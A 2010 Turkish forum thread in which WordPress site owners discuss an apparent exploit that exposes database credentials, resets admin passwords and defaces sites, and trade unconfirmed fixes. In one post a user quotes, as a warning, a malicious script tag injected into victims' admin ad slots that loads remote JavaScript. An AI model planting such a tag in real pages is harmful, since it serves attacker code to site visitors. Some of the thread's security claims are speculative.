GÜVENLİK AÇIĞI - Tüm wordpress site sahipleri mutlaka okusun. - Sayfa 3

10-09-2010, 01:49:18

#19

elimde bir direk shell atılan yol birde curl vs kullanarak kapı bırakılan yol var ama direk yolları editledim verme dediler vermiyoruz.Milletin sitesi hacklenmesin dediklerimi uygulayın ftp sıfırlayın surum dusurun yada ingilizce kurun sorun duzelecektir.Ama tabi sunucu sahibininde dediklerimi yapması gerek.

11-09-2010, 01:16:41

#20

VARDAR

Bu sorunu bir arkadaşım farklı bir scriptte yaşıyor aynı rapstors kodu ekleniyor 2 aydır falan, aynı sürüm aynı script diğer sitelerde var onlara eklenmiyor birisine ekleniyor, 4-5 sunucu değiştirildi ayrıca söz konusu konuda geçen dosyalar tarandı fakat bir sonuç çıkmadı.

Başka önerisi olan var mı ?

Not: Kod, admin panelinde reklam slotlarına v.s ekleniyor.

11-09-2010, 01:34:49

#21

cryptosam

Allah belalarını versin ya w00tw00t diye bir sistemle tum siteleri tarıyorlar inanın bu sorun çogu siteyi etkileyecek.6 gündür kafayı kıracak noktada wp 2 sitede beni uğraştırdılar.

11-09-2010, 01:40:06

#22

amacdizayn

sametyigit adlı üyeden alıntı: mesajı görüntüle

Yok genel olarak uğraştık bulduk ve açık ylunu vermeden 2 wp musterimizin sitesinin işlemlerini yapıyoruz.Birçok arkadaşımız tehlikede şuanda.Googleden film izle kelimesinde yer alan 10 siteden 2-3 unde ratladım bu açıga.Şoyle ifade edeyim wp bilgileriniz yani db vs tamamen dıştan mudahale edilebiliyor ve kesinlikle sunucu tabanlı engellenemiyor.Yenibirkonu daha açacaktım ama gerek görmedim. Wordpressle iletişime geçmeye çalışıyoruz.Yabancı surumu deneyeceğim az sonra inş ondada yoktur.

Şoyle ifade edeyim wp bilgileriniz yani db vs tamamen dıştan mudahale edilebiliyor ve kesinlikle sunucu tabanlı engellenemiyor.

son zamanlarda ben de rastladım ve başıma geldi. sql bilgileri çekilip phpmyadminden admin md5 i değiştirilip index atılıyor.
Engelleme yolları kısaca neler?

11-09-2010, 01:50:07

#23

cryptosam

ilk baştaki mesajda hocam işte tarama yaparak.Suncuu tabanlı almadığımız guvenlik kalmadı ve ilk girişleri wp siteler.Databaselerde herşeyi bizdekiyle koydum tek tek karşılaştırdım fark bulamadık bizde admin pass değişerek yaılmıyor yani işlemler hesaplar arası atlayamıyor resmen her siteye ayrı ayrı işlem yapıyorlar.

11-09-2010, 01:55:35

#24

cryptosam

Birde br arkadaş pm attı host firmanızla alakası yok.Host vs herfirmada yakında çıkar bu sorun değiştirmeyin.Sorun kullanılan yazılım kaynaklı.w00tw00t tarama yapıyorlar.Ftp log vs de oluşmaz.Yani oyle ip banla geç basit işlem değil 6 gun gecemi gunduzumu aldı.Wpden girdikleri yerleri işte bizde son surum bulduk.

11-09-2010, 01:56:10

#25

VARDAR

Lütfen aşşağıdaki kod daki url ye girmeyin !

<script src="http://www. raptorsrepublic.com/genesis/wp-admin/includes/img/pro.js"></script>

bu şekilde bir kod ile 2 aydır sorun yaşanıyor bu konuda çözüm bulan biri olursa iletişime geçerse sevinirim ücretli olarak.

11-09-2010, 01:58:34

#26

cryptosam

Hocam son surum tr de giriyorlar ingilizcedede girdiklerini anladım bugun.Wpden ilk giriş yeri ama normal scriptleride tarıyorlar.Birçokbuyuk firmadaki sitelerdede rastladım.Şoyle soyleyeyim siteyi attıgınız an bu sorun olan db bilgilerini size verebilirim.Wp ise.Açıkmıdır artık herneyse durum wpdede diğer scriptlerdede son derece vahim.

11-09-2010, 02:04:09

#27

amacdizayn

2.9.2 ye dönemk çok zor. Tablo yapılarını düzeltemeyiz. Wordpress e bu açığı bildirdiniz mi?